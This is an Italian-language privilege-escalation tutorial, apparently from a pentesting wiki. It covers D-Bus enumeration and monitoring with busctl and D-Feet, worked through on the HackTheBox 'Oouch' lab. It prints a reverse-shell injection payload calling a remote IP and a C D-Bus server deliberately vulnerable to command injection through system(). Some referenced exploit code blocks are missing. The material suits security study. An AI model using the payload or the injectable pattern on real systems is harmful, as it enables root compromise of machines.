D-Bus è utilizzato come mediatore delle comunicazioni inter-processo (IPC) negli ambienti desktop di Ubuntu. Su Ubuntu, si osserva il funzionamento simultaneo di diversi bus di messaggi: il bus di sistema, principalmente utilizzato da servizi privilegiati per esporre servizi rilevanti per l'intero sistema, e un bus di sessione per ogni utente connesso, che espone servizi rilevanti solo per quell'utente specifico. L'attenzione qui è principalmente sul bus di sistema a causa della sua associazione con servizi che operano con privilegi più elevati (ad es., root) poiché il nostro obiettivo è elevare i privilegi. Si nota che l'architettura di D-Bus impiega un 'router' per bus di sessione, responsabile della reindirizzazione dei messaggi dei client ai servizi appropriati in base all'indirizzo specificato dai client per il servizio con cui desiderano comunicare.
I servizi su D-Bus sono definiti dagli oggetti e interfacce che espongono. Gli oggetti possono essere paragonati a istanze di classe nei linguaggi OOP standard, con ogni istanza identificata in modo univoco da un percorso oggetto. Questo percorso, simile a un percorso di filesystem, identifica univocamente ogni oggetto esposto dal servizio. Un'interfaccia chiave per scopi di ricerca è l'interfaccia org.freedesktop.DBus.Introspectable, che presenta un metodo singolare, Introspect. Questo metodo restituisce una rappresentazione XML dei metodi, segnali e proprietà supportati dall'oggetto, con un focus qui sui metodi escludendo proprietà e segnali.
Per la comunicazione con l'interfaccia D-Bus, sono stati impiegati due strumenti: uno strumento CLI chiamato gdbus per l'invocazione facile dei metodi esposti da D-Bus negli script, e D-Feet, uno strumento GUI basato su Python progettato per enumerare i servizi disponibili su ciascun bus e per visualizzare gli oggetti contenuti all'interno di ciascun servizio.
Nella prima immagine sono mostrati i servizi registrati con il bus di sistema D-Bus, con org.debin.apt specificamente evidenziato dopo aver selezionato il pulsante System Bus. D-Feet interroga questo servizio per oggetti, visualizzando interfacce, metodi, proprietà e segnali per gli oggetti scelti, come visto nella seconda immagine. La firma di ogni metodo è anche dettagliata.
Una caratteristica notevole è la visualizzazione del process ID (pid) e della linea di comando del servizio, utile per confermare se il servizio viene eseguito con privilegi elevati, importante per la rilevanza della ricerca.
D-Feet consente anche l'invocazione di metodi: gli utenti possono inserire espressioni Python come parametri, che D-Feet converte in tipi D-Bus prima di passarli al servizio.
Tuttavia, si noti che alcuni metodi richiedono autenticazione prima di consentirci di invocarli. Ignoreremo questi metodi, poiché il nostro obiettivo è elevare i nostri privilegi senza credenziali in primo luogo.
Si noti inoltre che alcuni dei servizi interrogano un altro servizio D-Bus chiamato org.freedeskto.PolicyKit1 se un utente dovrebbe essere autorizzato a eseguire determinate azioni o meno.
Enumerazione della linea di comando
Elenca gli oggetti del servizio
È possibile elencare le interfacce D-Bus aperte con:
Da wikipedia: Quando un processo stabilisce una connessione a un bus, il bus assegna alla connessione un nome speciale chiamato nome di connessione unico. I nomi di bus di questo tipo sono immutabili: è garantito che non cambieranno finché la connessione esiste e, cosa più importante, non possono essere riutilizzati durante la vita del bus. Ciò significa che nessun'altra connessione a quel bus avrà mai assegnato un nome di connessione unico, anche se lo stesso processo chiude la connessione al bus e ne crea una nuova. I nomi di connessione unici sono facilmente riconoscibili perché iniziano con il carattere due punti—altrimenti vietato.
Informazioni sull'oggetto di servizio
Quindi, puoi ottenere alcune informazioni sull'interfaccia con:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Elenca le interfacce di un oggetto servizio
Devi avere abbastanza permessi.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Introspect Interface of a Service Object
Nota come in questo esempio è stata selezionata l'ultima interfaccia scoperta utilizzando il parametro tree (vedi sezione precedente):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Nota il metodo .Block dell'interfaccia htb.oouch.Block (quella che ci interessa). La "s" delle altre colonne potrebbe significare che si aspetta una stringa.
Interfaccia Monitor/Cattura
Con privilegi sufficienti (solo i privilegi send_destination e receive_sender non sono sufficienti) puoi monitorare una comunicazione D-Bus.
Se sai come configurare un file di configurazione D-Bus per permettere agli utenti non root di sniffare la comunicazione per favore contattami!
Diversi modi per monitorare:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
In the following example the interface htb.oouch.Block is monitored and il messaggio "lalalalal" viene inviato attraverso una miscommunication:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Puoi usare capture invece di monitor per salvare i risultati in un file pcap.
Filtrare tutto il rumore
Se ci sono troppe informazioni sul bus, passa una regola di corrispondenza in questo modo:
As user qtc inside the host "oouch" from HTB you can find an unexpected D-Bus config file located in /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Nota dalla configurazione precedente che è necessario essere l'utente root o www-data per inviare e ricevere informazioni tramite questa comunicazione D-BUS.
Come utente qtc all'interno del contenitore docker aeb4525789d8 puoi trovare del codice relativo a dbus nel file /code/oouch/routes.py. Questo è il codice interessante:
Come puoi vedere, si sta collegando a un'interfaccia D-Bus e inviando alla funzione "Block" l'"client_ip".
Dall'altra parte della connessione D-Bus c'è un binario compilato in C in esecuzione. Questo codice sta ascoltando nella connessione D-Bus per indirizzi IP e sta chiamando iptables tramite la funzione system per bloccare l'indirizzo IP fornito.
La chiamata a system è vulnerabile di proposito all'injection di comandi, quindi un payload come il seguente creerà una reverse shell: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Sfruttalo
Alla fine di questa pagina puoi trovare il codice C completo dell'applicazione D-Bus. All'interno puoi trovare tra le righe 91-97 come il D-Bus object pathe il interface name sono registrati. Queste informazioni saranno necessarie per inviare informazioni alla connessione D-Bus:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Inoltre, nella riga 57 puoi trovare che l'unico metodo registrato per questa comunicazione D-Bus si chiama Block(Ecco perché nella sezione seguente i payload verranno inviati all'oggetto servizio htb.oouch.Block, all'interfaccia /htb/oouch/Block e al nome del metodo Block):
Il seguente codice python invierà il payload alla connessione D-Bus al metodo Block tramite block_iface.Block(runme) (nota che è stato estratto dal blocco di codice precedente):
dbus-send è uno strumento utilizzato per inviare messaggi al “Message Bus”
Message Bus – Un software utilizzato dai sistemi per facilitare le comunicazioni tra le applicazioni. È correlato a Message Queue (i messaggi sono ordinati in sequenza) ma nel Message Bus i messaggi vengono inviati in un modello di abbonamento e sono anche molto veloci.
Il tag “-system” viene utilizzato per indicare che si tratta di un messaggio di sistema, non di un messaggio di sessione (per impostazione predefinita).
Il tag “–print-reply” viene utilizzato per stampare il nostro messaggio in modo appropriato e ricevere eventuali risposte in un formato leggibile dall'uomo.
“–string:” – Tipo di messaggio che desideriamo inviare all'interfaccia. Ci sono diversi formati per inviare messaggi come double, bytes, booleans, int, objpath. Tra questi, il “object path” è utile quando vogliamo inviare un percorso di un file all'interfaccia Dbus. Possiamo utilizzare un file speciale (FIFO) in questo caso per passare un comando all'interfaccia con il nome di un file. “string:;” – Questo serve per richiamare nuovamente il percorso dell'oggetto dove posizioniamo il file/comando della shell inversa FIFO.
Note che in htb.oouch.Block.Block, la prima parte (htb.oouch.Block) fa riferimento all'oggetto servizio e l'ultima parte (.Block) fa riferimento al nome del metodo.
C code
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}
